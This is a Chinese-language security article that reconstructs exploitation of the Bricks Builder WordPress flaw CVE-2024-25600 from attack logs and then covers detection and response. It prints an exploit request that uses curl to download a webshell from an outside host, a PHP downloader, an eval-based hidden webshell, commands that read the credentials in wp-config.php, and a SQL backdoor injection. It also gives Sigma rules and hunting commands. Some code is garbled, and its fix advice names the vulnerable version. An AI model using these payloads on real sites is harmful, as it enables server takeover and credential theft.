从一次真实攻击日志看CVE-2024-25600:黑客如何利用Bricks Builder漏洞上传Webshell
从攻击日志拆解CVE-2024-25600Bricks Builder漏洞的实战利用与防御当安全团队的告警系统在凌晨3点17分突然亮起红色警报时屏幕上跳出的是一条看似普通的WordPress REST API请求。但正是这条隐藏在正常流量中的异常请求触发了Bricks Builder插件中一个鲜为人知的代码执行漏洞——CVE-2024-25600。本文将基于真实攻击日志还原黑客如何通过四层精心设计的攻击链最终在目标服务器上植入Webshell的全过程。1. 漏洞背景与攻击入口分析CVE-2024-25600之所以被评定为CVSS 9.8分的高危漏洞核心在于它打破了现代Web应用的三大安全假设身份验证、输入过滤和最小权限原则。这个存在于Bricks Builder插件版本1.9.6.1中的缺陷允许攻击者通过WordPress默认开放的REST API端点/wp-json/bricks/v1/render_element实现远程代码执行。典型攻击日志特征POST /wp-json/bricks/v1/render_element HTTP/1.1 Host: victim.com Content-Type: application/json { element: { name: container, settings: { query: { useQueryEditor: true, queryEditor: system(curl malware.com/shell.txt -o wp-content/uploads/shell.php); } } } }从日志中可以看到几个关键攻击特征请求路径指向Bricks Builder的API端点element.name强制设置为container以触发特定类实例化queryEditor字段被注入恶意PHP代码缺少常规的nonce校验参数早期利用版本可绕过2. 攻击链全流程拆解2.1 漏洞探测阶段攻击者通常采用低噪声探测策略先发送合法格式但包含异常参数的请求观察服务器响应。以下是从实际流量中提取的探测模式POST /wp-json/bricks/v1/render_element HTTP/1.1 ... { postId: 1, element: { name: container, settings: { query: { objectType: post } } } }关键指标响应时间异常500ms可能表示动态代码解析HTTP 500错误中包含特定栈追踪信息返回的JSON中暴露插件版本号2.2 漏洞利用阶段成功识别脆弱系统后攻击者会构造多阶段Payload。一个真实案例显示攻击者采用代码分片技术绕过基础防护// 第一阶段环境检测 $fcr.eate_fu.nction; $f(,echo PHP:.phpversion();); // 第二阶段下载器 file_put_contents( upgrade.php, file_get_contents(http://malware[.]xyz/get.php?id.md5($_SERVER[HTTP_HOST])) );日志中的蛛丝马迹异常的base64_decode/create_function调用对wp-content/uploads目录的写操作外部域名连接记录通常伪装成CDN或云存储2.3 Webshell部署技术现代攻击者倾向于使用隐形Webshell例如通过合法WordPress函数隐藏恶意代码add_action(wp_head, function(){ if(isset($_GET[debug]) md5($_GET[debug])d077f...){ eval($_POST[cmd]); } });检测难点代码存储在数据库而非文件系统利用WordPress原生钩子实现持久化需要特定参数触发难以通过静态扫描发现2.4 持久化与横向移动攻击日志显示成功植入Webshell后攻击者通常会执行以下操作序列权限提升chmod 777 wp-config.php数据库凭据窃取echo file_get_contents(wp-config.php);插件后门植入UPDATE wp_options SET option_valueCONCAT(option_value,?php eval(...);?) WHERE option_nameactive_plugins;3. 防御体系构建实战3.1 关键日志监控点日志类型监控字段危险值模式Apache/NginxPOST请求体queryEditorsystem(WordPress_error_logeval()d codePHP-FPM执行时间1000ms的/wp-json请求文件监控wp-content/uploads*.php文件创建3.2 Sigma检测规则示例title: Bricks Builder RCE Attempt logsource: product: wordpress detection: selection: request.method: POST request.uri: /wp-json/bricks/v1/render_element request.body: - *queryEditor* - *.system(* - *eval(* condition: selection fields: - client.ip - request.body3.3 应急响应 checklist立即隔离禁用/wp-json/bricks/v1/render_element端点重置所有API密钥和nonce取证分析# 查找最近修改的PHP文件 find wp-content/ -name *.php -mtime -3 -ls # 检查数据库可疑代码 wp db query SELECT * FROM wp_options WHERE option_value LIKE %eval(%彻底修复升级Bricks Builder至1.9.6.1版本实施WAF规则拦截异常参数组合4. 高级威胁狩猎技巧在分析某次真实攻击时我们发现攻击者使用WordPress的transient API隐藏C2通信// 攻击者代码 set_transient(wp_update_check, base64_encode(http://c2[.]com/.$_SERVER[HTTP_HOST]), 86400); // 防御者检测命令 wp transient list --formatjson | jq .[] | select(.value|test(aHR0))异常模式识别异常的base64编码transient数据定时任务调用wp-cron.php的频率突变存在eval/assert但无对应插件代码在某个客户案例中攻击者甚至利用漏洞在WordPress的图片元数据中隐藏Payload通过以下命令可检测此类高级威胁exiftool -php wp-content/uploads/* | grep -E eval|system|shell_exec